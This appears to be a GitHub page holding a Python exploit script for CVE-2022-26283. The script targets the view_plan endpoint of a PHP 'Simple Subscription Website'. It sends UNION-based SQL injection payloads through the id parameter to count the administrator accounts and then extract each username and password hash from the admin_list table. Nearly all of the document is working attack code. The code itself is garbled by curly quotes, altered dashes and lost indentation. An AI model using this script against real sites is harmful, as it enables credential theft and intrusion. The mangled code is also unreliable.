CVE-2022-26283: Multiple-SQLi-in-Simple-Subscription-Company/view_plan_sqli.py at main · Dir0x/Multiple-SQLi-in-Simple-Subscription-Company

Permalink

#!/usr/bin/python3

# Exploit Title: SQLi in view_plan endpoint of Simple Subscription Website

# Date: 05/11/2021

# Exploit Author: Daniel Haro

# Vendor Homepage: https://www.sourcecodester.com/php/15013/simple-subscription-website-admin-panel-php-and-sqlite-source-code.html

# Software Link: https://www.sourcecodester.com/php/15013/simple-subscription-website-admin-panel-php-and-sqlite-source-code.html

# Version: 1.0

# Tested on: debian 10, apache, mysql

from requests import get

from re import search

import argparse

args = argparse.ArgumentParser(description="Exploit to SQL injection in view_plan page of Simple Subscription CMS through id parameter")

args.add_argument('-t’, '–target’, help="URL of the victim. Example: http://localhost/plan_application")

args = args.parse_args()

print(“Simple Subscription Website”)

print(“Error based SQL injection exploit”)

count_req = get(args.target + "/?page=view_plan&id=%27%20union%20select%20null,%20count(*),null,null,null,null,null,null%20from%20admin_list–%20-")

n = search('<h2 class="text-center fs-1">.*’, count_req.text)

n = int(n.group(0).replace('<h2 class="text-center fs-1">’, ‘’).replace(“</h2>","”))

print(“±-----------------------------±-------------------------------+”)

print(“| username | hash |”)

print(“±-----------------------------±-------------------------------+”)

for i in range(1, n+1):

user = search('<h2 class="text-center fs-1">.*’, get(args.target + “/?page=view_plan&id=%27%20union%20select%20null,username,null,null,null,null,null,null%20from%20admin_list%20where%20admin_id=” + str(i) + "–%20-").text).group(0).replace('<h2 class="text-center fs-1">’, ‘’).replace(“</h2>","”).replace("\r", “”)

hash = search('<h2 class="text-center fs-1">.*’, get(args.target + “/?page=view_plan&id=%27%20union%20select%20null,password,null,null,null,null,null,null%20from%20admin_list%20where%20admin_id=” + str(i) + "–%20-").text).group(0).replace('<h2 class="text-center fs-1">’, ‘’).replace(“</h2>","”).replace("\r", “”)

user = “|” + user + (" "*(30-len(user))) + “|”

print(user + hash + “|”)

print(“±-----------------------------±-------------------------------+”)